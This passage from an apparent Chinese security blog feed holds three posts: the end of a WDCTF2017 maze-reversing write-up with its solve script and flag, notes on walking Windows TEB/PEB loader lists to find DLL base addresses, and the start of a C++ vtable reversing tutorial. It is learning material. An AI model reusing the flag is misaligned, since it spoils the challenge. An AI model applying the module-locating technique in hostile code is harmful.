3E AD 00 </span><br><span class="line">F1 6E 11 D0 44 3E A4 1E 1D 16 72 6E AC AE 4F 4A 3D C4 81 FC F7 00 </span><br><span class="line">3D F3 1F 14 73 49 A3 1C 89 CD 3B AA 41 DD 73 D1 57 96 ED 89 27 00 </span><br><span class="line">25 B6 EA 3C D7 88 1C FA E9 7A 40 FC 6E BA 3D D2 18 72 6E C0 C7 00 </span><br><span class="line">53 55 E5 D5 DB A3 7F E3 53 B7 8F 89 6B 3F 69 69 2D B5 AD 49 7B 00 </span><br><span class="line">00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 </span><br></pre></td></tr></table></figure><p>然后我们确认需要前进:</p><ul><li>0 – ↑</li><li>1 – →</li><li>2 – ↓</li><li>3 – ←</li></ul><p>最后我们确认一下最后的迷宫,发现在复杂的变化之后会变回原来的样子。此时取出来的值为0x40，也就是说，我们的目的地是0x40^100 = 0x24,这个位置的坐标即为(3, 20)。然后我们发现，我们走迷宫的时候，只能够走【偶数】，那么我们可以走的路线规划一下就是:<br><img src="/2017/09/25/WDCTF2017/maze02.png" alt=""><br>大概是60步就能够走过去(不过注意到起点在(1,0))。。此时计算一下01串就能够得到:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">01010110101010101001011010111110101010101010100101000001010000000001010101010101010000010100000000000000000101101001</span><br></pre></td></tr></table></figure><p>这个就是到达目的地的前进路线。</p><p>回溯算法，我们得知数字的来历为</p><pre><code>&quot;BCDFGHJKMPQRTVWXY2346789&quot;</code></pre><p>这个字母表中下标为2n的再字母表中出现第i个字符的下标作为高四位，和2n+1出现在第17-i个的顺序组成的数字作为低四位即为我们目标数字。后来发现有一个陷阱:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">// v6为我们转换过的数字</span><br><span class="line">  if ( (unsigned __int8)(v6 - 0x30) &gt; 9u )</span><br><span class="line">    &#123;</span><br><span class="line">      if ( (unsigned __int8)(v6 - 0x61) &gt; 5u )</span><br><span class="line">        puts(&quot;get_next error&quot;);</span><br><span class="line">      v7 = v6 - 0x57;                           // 这里要减去01010111</span><br><span class="line">    &#125;</span><br><span class="line">    else</span><br><span class="line">    &#123;</span><br><span class="line">      v7 = v6 - 0x30;                           // 这里居然要剪掉b00110000,再允许的范围内的值很少啊</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><p>这里可以看到，我们输入的字符串处理之后得到的数字范围其实是有限的：<br>如果要符合<code>v6 - 0x30 &gt; 9</code>的话，我们能够使用的数字只有</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">[0x30 - 0x39] // 因为有符号，所以只有这部分不会发生反转</span><br><span class="line">00110000, 00110001,00110010,00110011,00110100,00110101,00110110,00110111,00111000</span><br></pre></td></tr></table></figure><p>否则的话，就会进入到下一个判断<code>v6 - 0x61 &gt; 5 </code>,其中有效范围内的数值为；</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">[0x61 - 0x66]</span><br><span class="line">01100001,01100010,01100011,01100100,01100101,01100110</span><br><span class="line">减去0x57之后</span><br><span class="line">1010,1011,1100,1101,1110,1111</span><br></pre></td></tr></table></figure><p>然后发现这个地方会把高位的bit去掉:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">v13 = v7 &amp; 3;// 低2bit</span><br><span class="line">v12 = ((unsigned int)v7 &gt;&gt; 2) &amp; 3;// 高2bit</span><br><span class="line">v8 = 0;</span><br><span class="line">do</span><br><span class="line">&#123;</span><br><span class="line">  v9 = *(&amp;v12 + v8);</span><br><span class="line">  row += *((_DWORD *)&amp;v16 + v9);            // 取出第二次算的值，分别作用在row和clo上</span><br><span class="line">  clo += *((_DWORD *)&amp;i + v9);</span><br><span class="line">  if ( row &gt; 0x15 || clo &gt; 21 || *(&amp;byte_B84018[22 * row] + clo) &amp; 1 )</span><br><span class="line">    puts(&quot;run maze error&quot;);</span><br><span class="line">  ++v8;</span><br><span class="line">&#125;</span><br><span class="line">while ( v8 &lt; 2 );</span><br></pre></td></tr></table></figure><p>换句话说，此时【只有低位的4bit可以参与到走迷宫中来】。比如说，我们的第一部分的内容是【两次向右行走】，那么这里我们可以考虑让答案为0x35,那么此时使用字符F3应该可以打到目的，测试一下发现的确可以，相当于是说利用F来保证高位为0011，然后低位的话就是我们此时需要的内容。<br>以下为解题脚本:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#-*- coding:utf-8 -*-</span></span><br><span class="line"></span><br><span class="line">right = <span class="string">&#x27;01&#x27;</span></span><br><span class="line">left = <span class="string">&#x27;11&#x27;</span></span><br><span class="line">up =<span class="string">&#x27;00&#x27;</span></span><br><span class="line">down = <span class="string">&#x27;10&#x27;</span></span><br><span class="line">step = right*<span class="number">3</span> + down*<span class="number">6</span> +right*<span class="number">2</span> + down*<span class="number">2</span> + left*<span class="number">2</span> + <span class="number">8</span>*down + \</span><br><span class="line">       right*<span class="number">2</span>+up*<span class="number">2</span>+right*<span class="number">2</span>+<span class="number">4</span>*up + <span class="number">8</span>*right +<span class="number">2</span>*up+<span class="number">2</span>*right+<span class="number">8</span>*up+<span class="number">2</span>*right+<span class="number">2</span>*down+right+left+right</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;step is &#123;&#125;&quot;</span>.<span class="built_in">format</span>(<span class="built_in">len</span>(step)/<span class="number">8</span>))</span><br><span class="line">alphabet = <span class="string">&quot;BCDFGHJKMPQRTVWXY2346789&quot;</span></span><br><span class="line">nums = [<span class="built_in">int</span>(step[i:i+<span class="number">8</span>], <span class="number">2</span>) <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>,<span class="built_in">len</span>(step), <span class="number">8</span>)]</span><br><span class="line">ans = []</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">checknum</span>(<span class="params">num, step = <span class="number">0x30</span></span>):</span><br><span class="line"><span class="comment"># first, we now what number now is </span></span><br><span class="line">tmp = step + num</span><br><span class="line"><span class="comment"># then, we check high bit and low bit </span></span><br><span class="line">bit = <span class="built_in">bin</span>(tmp)[<span class="number">2</span>:].zfill(<span class="number">8</span>)</span><br><span class="line">high = <span class="built_in">int</span>(bit[:<span class="number">4</span>], <span class="number">2</span>)</span><br><span class="line">low = <span class="built_in">int</span>(bit[<span class="number">4</span>:],<span class="number">2</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># finally, check character we need</span></span><br><span class="line"><span class="keyword">return</span> alphabet[high], alphabet[<span class="number">0x17</span> - low]</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> each <span class="keyword">in</span> nums:</span><br><span class="line"><span class="comment"># we shuold ensure that this operation is satisfied 0x30, else we use 0x57</span></span><br><span class="line">tmp = <span class="built_in">bin</span>(each)[<span class="number">2</span>:].zfill(<span class="number">8</span>)</span><br><span class="line"><span class="comment"># print(tmp)</span></span><br><span class="line">i = <span class="built_in">int</span>(tmp[:<span class="number">4</span>], <span class="number">2</span>)</span><br><span class="line"><span class="keyword">if</span> i &gt; <span class="number">9</span>:</span><br><span class="line">padding, char = checknum(i, <span class="number">0x57</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">padding, char = checknum(i, <span class="number">0x30</span>)</span><br><span class="line"></span><br><span class="line">ans.append(padding)</span><br><span class="line">ans.append(char)</span><br><span class="line"></span><br><span class="line">i = <span class="built_in">int</span>(tmp[<span class="number">4</span>:], <span class="number">2</span>)</span><br><span class="line"><span class="keyword">if</span> i &gt; <span class="number">9</span>:</span><br><span class="line">padding, char = checknum(i, <span class="number">0x57</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">padding, char = checknum(i, <span class="number">0x30</span>)</span><br><span class="line"></span><br><span class="line">ans.append(padding)</span><br><span class="line">ans.append(char)</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">len</span>(ans))</span><br><span class="line"><span class="comment"># tmp_ans = &quot;F3F2J8J8FWF2J7J3J8J8J8FWF4F8F4F9F8F3F3F3F4F8F4F9F9F9F8F2FW&quot;</span></span><br><span class="line"><span class="comment"># because finally two use to let&#x27;s it can be 8 times, so we do not need last two</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;flag is WDFLAG&#123;&quot;</span>+<span class="string">&#x27;&#x27;</span>.join(ans)[:-<span class="number">2</span>]+<span class="string">&quot;&#125;&quot;</span>)</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>得到flag为:</p><pre><code>WDFLAG&#123;F3F2J8J8FWF2J7J3J8J8J8FWF4F8F4F9F8F3F3F3F4F8F4F9F9F9F8F2FW&#125;</code></pre>]]></content>
    
    
    <summary type="html">&lt;p&gt;难得的线下赛还是解题的形式，在各方面的优势下成功的被队友带飞，最后做出了一个re，也算是有点成绩把。。&lt;/p&gt;
&lt;h2 id=&quot;more-wdctf2017&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="CTF" scheme="https://showlinkroom.me/categories/CTF/"/>
    
    
    <category term="reverse" scheme="https://showlinkroom.me/tags/reverse/"/>
    
  </entry>
  
  <entry>
    <title>Windows中的PEB,TEB等的研究</title>
    <link href="https://showlinkroom.me/2017/09/08/Windows%E4%B8%AD%E7%9A%84PEB-TEB%E7%AD%89%E7%9A%84%E7%A0%94%E7%A9%B6/"/>
    <id>https://showlinkroom.me/2017/09/08/Windows%E4%B8%AD%E7%9A%84PEB-TEB%E7%AD%89%E7%9A%84%E7%A0%94%E7%A9%B6/</id>
    <published>2017-09-08T08:02:11.000Z</published>
    <updated>2020-07-16T13:31:30.432Z</updated>
    
    <content type="html"><![CDATA[<p>在研究0day安全漏洞这本书的过程中，对windows线程和进程块的学习过程（但是发现资料是在是不多。。只能先针对性的整理一下了）</p><h2 id="more-windows中利用teb找到指定的dll起始地址"><span id="more"></span><br>Windows中利用TEB找到指定的dll起始地址</h2><h2 id="64-bit-下的研究">64 bit 下的研究</h2><p>这里windbg中查询到的结构体本身不知为何，显示的是32bit的结构体的大小，所以这里我们需要将所有的偏移量*2。</p><h3 id="teb的定义">TEB的定义</h3><p>TEB（thread environment block)，也就是<strong>线程环境变量块</strong>，是在用户态下对线程的一种表示。在操作系统的分级下，其对于运行在最外层的用户态下的线程拥有最少的信息，对于运行在在最高级的内核态中的线程拥有最高级的信息。如果当前线程没有任何用户态的对象使用的话，那么就不会有TEB。原则上，如果一个线程在用户态下就能够完成处理，并且暂时不需要和内核态交互的话，那么这个信息就会放在TEB中。说白了，TEB是一个存储了线程基本属性的结构体。并且可以通过API来获得。</p><h3 id="teb的查找方式">TEB的查找方式</h3><p>TEB存放的位置在执行中使能够找到对的。但是在32bit和64bit下存在差异:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">+-------------+--------------+</span><br><span class="line">|   32 bit    |     64 bit   |</span><br><span class="line">+-------------+--------------+</span><br><span class="line">|     fs      |      gs      |</span><br><span class="line">+-------------+--------------+</span><br></pre></td></tr></table></figure><p>如上，32bit下是通过fs段寄存器来定位的，而64bit下则是通过gs段寄存器进行定位的。</p><p>利用windbg指令:</p><pre><code>dt _teb</code></pre><p>我们能够查看此时的TEB的结构:<br><img src="/2017/09/08/Windows%E4%B8%AD%E7%9A%84PEB-TEB%E7%AD%89%E7%9A%84%E7%A0%94%E7%A9%B6/teb01.png" alt=""><br>关注红色的框框处（+0x030），这个位置存放的是指向当前PEB指针的。</p><h3 id="peb的定义">PEB的定义</h3><p>PEB（Process environment blocck），也就是<strong>进程环境变量块</strong>。这个块运行用户在用户态下获得很多当前进程的基本信息，比如说读入了的dll的名字，进程开始处的参数，堆地址，检查当前进程是否在调试状态下以及<strong>dll的镜像基地址</strong>等等。<br>当前的内容我们可以看到如下<br><img src="/2017/09/08/Windows%E4%B8%AD%E7%9A%84PEB-TEB%E7%AD%89%E7%9A%84%E7%A0%94%E7%A9%B6/teb03.png" alt=""></p><p><img src="/2017/09/08/Windows%E4%B8%AD%E7%9A%84PEB-TEB%E7%AD%89%E7%9A%84%E7%A0%94%E7%A9%B6/teb02.png" alt=""><br>红框处圈出来的（+0xc0）就是指向一个叫做PEB_LDR_DATA的结构体。大部分的内容并没有公开，但是这个模块已经被公开了。我们接下来研究一下这个结构体</p><h3 id="peb-ldr-data-ldr-data-table-entry的定义">PEB_LDR_DATA\LDR_DATA_TABLE_ENTRY的定义</h3><p>PRE_LDR_DATA结构体记录了当前进程中所有载入了的模块。本质上是LDR_DATA_TABLE_ENTRY结构的三个双链表的头，每个表示一个加载的模块。<br>然后直接查看内部的结构，如下:<br><img src="/2017/09/08/Windows%E4%B8%AD%E7%9A%84PEB-TEB%E7%AD%89%E7%9A%84%E7%A0%94%E7%A9%B6/teb04.png" alt=""><br>能够看出，这个结构体就是一个链表，链接的对象就是结构体<code>LDR_DATA_TABLE_ENTRY</code>。这个对象中存放了一些和模块加载相关的内容。我们这里首先查看一下:<br><img src="/2017/09/08/Windows%E4%B8%AD%E7%9A%84PEB-TEB%E7%AD%89%E7%9A%84%E7%A0%94%E7%A9%B6/teb05.png" alt=""></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">+0x000 InLoadOrderLinks : _LIST_ENTRY</span><br><span class="line">+0x008 InMemoryOrderLinks : _LIST_ENTRY</span><br><span class="line">+0x010 InInitializationOrderLinks : _LIST_ENTRY</span><br><span class="line">+0x018 DllBase          : Ptr32 Void</span><br><span class="line">+0x01c EntryPoint       : Ptr32 Void</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>这个对象中前三个属性也是存放了当前所有模块中链表的基本信息的值。然后在偏移量为0x18的地方存放了当前DllBase。</p><p>接下来我们尝试去寻找当前的kernel32.dll所存放的位置。<br>首先假设我们能够获取到gs寄存器中的内容，然后我们此时找到了teb的位置，此处定义为teb_address:<br><img src="/2017/09/08/Windows%E4%B8%AD%E7%9A%84PEB-TEB%E7%AD%89%E7%9A%84%E7%A0%94%E7%A9%B6/teb06.png" alt=""><br>也就是</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">peb_address = [teb_address + 0x60]</span><br></pre></td></tr></table></figure><p>然后我们查看peb中的ldr的位置:<br><img src="/2017/09/08/Windows%E4%B8%AD%E7%9A%84PEB-TEB%E7%AD%89%E7%9A%84%E7%A0%94%E7%A9%B6/teb07.png" alt=""><br>此时得到的Ldr的所在的位置就是</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Ldr = [peb_address + 0x18]</span><br></pre></td></tr></table></figure><p>然后此时我们选取指定的链表InLoadOrderLinks，此时指向的地址就是LDR_DATA_TABLE_ENTRY:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ldr_data_table = [Ldr + 0x20]</span><br></pre></td></tr></table></figure><p>最后我们从这个ld_data_table中能够找到当前所查找的目标内容:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">dllbase = [ldr_data_table + 0x20]</span><br><span class="line">next_ldr = [ldr_data_table]</span><br></pre></td></tr></table></figure><p>然后我们可以知道，载入dll的顺序为</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">+-----------+      +-----------+      +-----------+      +--------------+</span><br><span class="line">| test.exe  | ---&gt; | ntdll.dll | ---&gt; | wow64.dll | ---&gt; | wow64win.dll |</span><br><span class="line">+-----------+      +-----------+      +-----------+      +--------------+</span><br></pre></td></tr></table></figure><p>那么我们想要知道dll载入地址的话，就能够按照顺序来访问next，从而拿到指定的dll起始地址。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;在研究0day安全漏洞这本书的过程中，对windows线程和进程块的学习过程（但是发现资料是在是不多。。只能先针对性的整理一下了）&lt;/p&gt;
&lt;h2 id=&quot;more-windows中利用teb找到指定的dll起始地址&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="Reverse" scheme="https://showlinkroom.me/categories/Reverse/"/>
    
    
    <category term="windows" scheme="https://showlinkroom.me/tags/windows/"/>
    
  </entry>
  
  <entry>
    <title>C++逆向分析</title>
    <link href="https://showlinkroom.me/2017/08/21/C-%E9%80%86%E5%90%91%E5%88%86%E6%9E%90/"/>
    <id>https://showlinkroom.me/2017/08/21/C-%E9%80%86%E5%90%91%E5%88%86%E6%9E%90/</id>
    <published>2017-08-21T13:46:29.000Z</published>
    <updated>2022-02-02T13:17:53.385Z</updated>
    
    <content type="html"><![CDATA[<p>最近遇到了一个C++的pwn题，所以在这里对C++的程序进行深入学习一下:</p><h2 id="more-c-逆向分析学习"><span id="more"></span><br>C++逆向分析学习</h2><h2 id="c-的类">C++的类</h2><p>C++与C最大的区别就是【面向对象】这个概念。我们知道在C++中，class是一个常用的概念。那么在二进制程序中，class呈现的是什么样子的呢，我们这里用一个程序进行分析说明。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;iostream&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;string&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std;</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Person</span></span><br><span class="line">&#123;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line">    <span class="built_in">Person</span>()&#123;</span><br><span class="line">        age = <span class="number">0</span>;</span><br><span class="line">        name = <span class="string">&quot;&quot;</span>;</span><br><span class="line">    &#125;;</span><br><span class="line">    ~<span class="built_in">Person</span>()&#123;</span><br><span class="line"></span><br><span class="line">    &#125;;</span><br><span class="line">    <span class="function"><span class="keyword">virtual</span> <span class="type">void</span> <span class="title">setName</span><span class="params">(string name)</span> </span>= <span class="number">0</span>;</span><br><span class="line">    <span class="function"><span class="keyword">virtual</span> <span class="type">void</span> <span class="title">setAge</span><span class="params">(<span class="type">int</span> age)</span>  </span>= <span class="number">0</span>;</span><br><span class="line"><span class="keyword">protected</span>:</span><br><span class="line">    <span class="type">int</span> age;</span><br><span class="line">    string name;</span><br><span class="line">    </span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Student</span> :<span class="keyword">public</span> Person&#123;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line">    <span class="built_in">Student</span>()&#123;</span><br><span class="line">        age = <span class="number">17</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="function"><span class="type">void</span> <span class="title">setName</span><span class="params">(string name)</span></span>&#123;</span><br><span class="line">        <span class="keyword">this</span>-&gt;name = name;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="function">string <span class="title">getName</span><span class="params">()</span></span>&#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">this</span>-&gt;name;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="function"><span class="type">void</span> <span class="title">setAge</span><span class="params">(<span class="type">int</span> age)</span></span>&#123;</span><br><span class="line">        <span class="keyword">if</span>(age&gt;<span class="number">30</span> || age &lt; <span class="number">6</span>)&#123;</span><br><span class="line">            cout&lt;&lt;<span class="string">&quot;not suitable for school!&quot;</span>&lt;&lt;endl;</span><br><span class="line">            <span class="keyword">return</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">this</span>-&gt;age = age;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="function"><span class="type">int</span> <span class="title">getAge</span><span class="params">()</span></span>&#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">this</span>-&gt;age;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span></span>&#123;</span><br><span class="line">    Student *stu = <span class="keyword">new</span> <span class="built_in">Student</span>();</span><br><span class="line">    stu-&gt;<span class="built_in">setName</span>(<span class="string">&quot;Link&quot;</span>);</span><br><span class="line">    stu-&gt;<span class="built_in">setAge</span>(<span class="number">18</span>);</span><br><span class="line">    cout&lt;&lt;stu-&gt;<span class="built_in">getName</span>()&lt;&lt;<span class="string">&quot; with age &quot;</span>&lt;&lt;stu-&gt;<span class="built_in">getAge</span>()&lt;&lt;endl;</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>首先我们可以看到，类Person为虚类，因为其没有实现任何一个函数，而是通过其子类Student实现的。</p><h3 id="关于属性分布">关于属性分布</h3><p>其实class本身只是struct的一种衍生方式，所以使用了虚拟函数的class本身的结构是这样的:<br><img src="/2017/08/21/C-%E9%80%86%E5%90%91%E5%88%86%E6%9E%90/Cpp01.png" alt=""></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">strcut class&#123;</span><br><span class="line">    func* funcptr    --------&gt; +-----------------+</span><br><span class="line">                               |  func1 addresss |</span><br><span class="line">                               +-----------------+</span><br><span class="line">                               |  func2 addresss |</span><br><span class="line">                               +-----------------+</span><br><span class="line">                               ...</span><br><span class="line">    type a;</span><br><span class="line">    type b;</span><br><span class="line">    ...</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>而当我们使用new函数进行申请对象的时候，比如如下</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Person *p = <span class="keyword">new</span> <span class="built_in">Person</span>();</span><br></pre></td></tr></table></figure><p>实际上是发生了这样的事情：</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">Person *p = (Person*)<span class="built_in">malloc</span>(<span class="built_in">sizeof</span>(Person));</span><br><span class="line"><span class="comment">// 调用了自己的初始化函数将其初始化，如果其为继承的类，那么此时会在进行一次父类函数的类似操作。</span></span><br><span class="line">Person::<span class="built_in">Person</span>(p);</span><br></pre></td></tr></table></figure><p>而在Person里面，会发生如下的操作:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">*p = func_ptr</span><br><span class="line">其他属性进行初始化。</span><br></pre></td></tr></table></figure><h3 id="关于虚表-virtual-table">关于虚表（Virtual table）</h3><p>首先复习一下什么叫做虚函数:</p><h4 id="一个简单的复习">一个简单的复习</h4><p>虚函数出现的目的是为了实现【多态】，也就是所谓的【父类指针指向子类函数】的功能，例如如下的函数</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">void</span> <span class="title">GiveFood</span><span class="params">(Animal animal, Food food)</span></span>&#123;</span><br><span class="line">    animal.<span class="built_in">eat</span>(food);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这个eat函数，不同的动物表现的不一样：</p><ul><li>狗在吃的时候发出&quot;Bow, Bow&quot;</li><li>猫吃饭的时候发出&quot;Miao, Miao&quot;</li><li>鹦鹉在吃饭的时候支持我们输入数据</li></ul><p>但是如果每个动物我们都用不同的函数去判断的话，那么整个过程就太冗长了。为了支持这个功能，C++提供了多态。也就是说对于所有的动物，他们共有的能力就是【吃饭】，那么为了能够调用这个【吃饭】的过程，我们可以不去考虑功能的细节，直接使用这个函数:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;iostream&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;string&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std;</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Animal</span></span><br><span class="line">&#123;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line">    <span class="built_in">Animal</span>()&#123;</span><br><span class="line">        name = <span class="string">&quot;&quot;</span>;</span><br><span class="line">    &#125;;</span><br><span class="line">    ~<span class="built_in">Animal</span>()&#123;</span><br><span class="line"></span><br><span class="line">    &#125;;</span><br><span class="line">    <span class="function"><span class="type">void</span> 